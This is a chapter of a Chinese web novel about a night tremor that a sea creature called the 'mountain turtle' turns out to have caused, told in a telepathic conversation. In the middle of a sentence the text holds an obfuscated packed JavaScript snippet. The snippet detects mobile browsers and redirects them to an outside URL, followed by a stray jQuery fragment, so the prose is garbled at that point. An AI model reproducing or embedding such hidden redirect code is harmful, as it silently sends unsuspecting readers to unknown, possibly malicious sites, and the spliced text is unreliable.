另一边,辛文他们原本在屋里各自干着活,她在梳理建房区域,豆绿和薄薄他们正在整理禾秆草,文经则是在清算剩余的粒粒冻。
突然大地晃悠一下,把大家都吓得面面相觑。
文经立马游到草门,推开门,往远方看去。
原本休息的血犬们则是醒来,狂躁地来回踱步,不停对着北边吠。
“震源在北方……”文经下了结论。
辛文不安地上前,也往外面的雨幕看去,像是要透过雨幕看清北方发生的事。
“该不会是今天我们看到连接北边与对面峡谷的山体崩了吧?”她猜测道。
文经摇了摇头:“崩了的话响声会持续很久,但是只响了一下,应该不是。”
“而且现在下大雨,要等雨停了才能过去看。”
这时候,藻长安的声音在辛文脑中响起:“大人,你们是不是也感受到了震动?”
“是,你们在外边还好吗?”辛文连忙在心中与她交流。
“没事,大家都好,你们可以放心,应该是有头傻大个走错路了,他现在应该走了。”长安解释。
“你知道这是什么东西?”辛文放下心,转眼又好奇起来。
“知道,山龟龟。”藻长安淡定地提到一个海里新物种,“那傻大个没什么好沟通的,他走了最好,要不然他迷路了,顺便把我们的岛撞得七零八落就没地方哭了。”
“这几秒都没动静,估计走远了,你们安心睡觉吧。”
藻长安一幅了然熟悉的样子。
“山龟龟?”辛文忍不住在心里头再念一遍这个名字。
“山龟龟在大海里都是神出鬼没的,我还偶遇过他两次,爷爷说这种古老的生物一向神龙不见首尾,但这些年竟然还能遇到两次,哦不,加上今天应该第三次了。”
“唯一不用担心的是他空有力气,但没脑子,遇见了躲就是了。”
这让辛文更加好奇长安他们遇见山龟龟的两次经历。
“当时是怎样的一个情况?”她问。
藻长安陷入回忆,道:“第一次是他突然出现,在深海里游动,爷爷认出他的特征,立马带上我们往边上的海石里躲,然后嘛……”
“躲避的时候,我们看到他游走了又游回来,游了大概几十圈吧,还每次等我们想偷偷溜走时又游了回来,最初我还以为他故意蹲我们。”
“但越看越不对劲,我当时实在忍不住了,冲到他面前给他指了一条明路。”
“最后他终于离开了。”
“我就知道他丫的肯定迷路了!”
辛文听得叹为观止,追问:“那第二次呢?”
“啊,第二次我们看到他一个山龟龟就敢在海大口上方游去,被海大口吸下去,但吸着吸着,他似乎有些无聊,一掌拍向海大口,‘轰’地一下,深渊一样的海大口就裂了……”
“远远看戏的我们吓得立马跑了,海大口裂了可是会翻海水,那地方海尘彻底浑浊,不躲就会被海尘裹住,陷入海泥就翻不了身了。”
“幸好我们躲得远,跑得也快,就是那山龟龟不知咋的又跑到我们上方,但没有攻击我们。”
“我给他指了个方向后,他才慢悠悠离开了。”
“你说吧,这是不是傻大个?”
辛文感觉海里的世界也挺有趣精彩的。
“那他究竟有多大个呀?”辛文放松下来,一边继续忙活,一边分神问长安。
“山龟龟应该有半个离岸岛这么大吧,眼睛通红,像个发光红大球一样,而且身体在昏暗的环境里还会发出灰色的光晕。”
辛文在心中慢慢勾勒这山龟龟的外形,这么庞大的生物,在没有能力接触他之前,还是尽量避开。
幸好从震动发生后到现在,地表都没有新的变化。
辛文舒了口气,心想他现在应该离开了,她又给长安交代几句后,就不在脑里对话了。
她将长安的话简单复述一遍给大家,豆绿听完后,疑惑:“大人,山龟龟这种生物怎么会突然冲到我们的岛呢?”
辛文摇头:“不知道,也许像长安说的那样是迷路了吧。”
“幸好虚惊一场,大家既然没事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123191|176113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,今晚就早点睡,血犬它们也要准备换班了,我来等着就行,文经你们先睡,明天等雨一停,我们就开始加建屋子。”
辛文安排好明天的工作后,打开草门,拍了拍血犬们的脑袋,示意它们可以出去交班了。
血犬目前是这里最不怕红雨腐蚀的生物,辛文心想这可能与传说中它们的出身有一定关系。
辛文站在门后,定定地目送它们的身影,确定它们都往尖叫苗田的方向跑去后,才收回目光,看向屋外的简易版路灯。
经过豆绿的灌输,禾秆草的光芒丝毫没有弱下来。
而挂在门边,被箩筐放置好的移动城外壳,也在散发着柔和的光亮。
七七说过移动城外壳是强大的定位坐标,但现在雨这么大,外面要是真有其他族群,真会看到它散发的光么?
辛文闪过类似的想法,站在草门好一会儿,才摇了摇头走回屋里去。
她让草门一直保持小开的状态,好让换班回来的血犬们直接进来。
慢慢地,后面的文经和豆绿他们已经抵挡不住睡意,往草垫子睡去,薄薄也主动往地下走去,借藻鬼的气味掩盖她的气息。
一切都似乎恢复安然有序的模样。
辛文打了个哈欠,但没有去睡。
在等待血犬回来的期间,她顺便盘腿坐在地上,一边将系统给的金蛋抱怀里,一边拿起禾秆草在地上划分建筑区域。
时间一分一秒地过去,过了约20分钟,外面值班的血犬们终于回来了。
它们的红色毛发全被雨水淋了,但半点皮毛都没有被腐蚀,还精神奕奕地抬头看着辛文。
辛文见二崽和三崽回来后,竖起手指作噤声的动作。
她指了指正在草垫子上熟睡的文经他们,低声说:“甩干雨水后就回来吃粒粒冻,吃完就睡觉。”
听到有东西吃,两只血犬耳朵都竖起,神情异常兴奋,但都谨记辛文的嘱咐,没有吠叫,而是激动地踏步。
“今晚辛苦你们了。”
辛文蹲下来,笑眯眯地看着它们。
……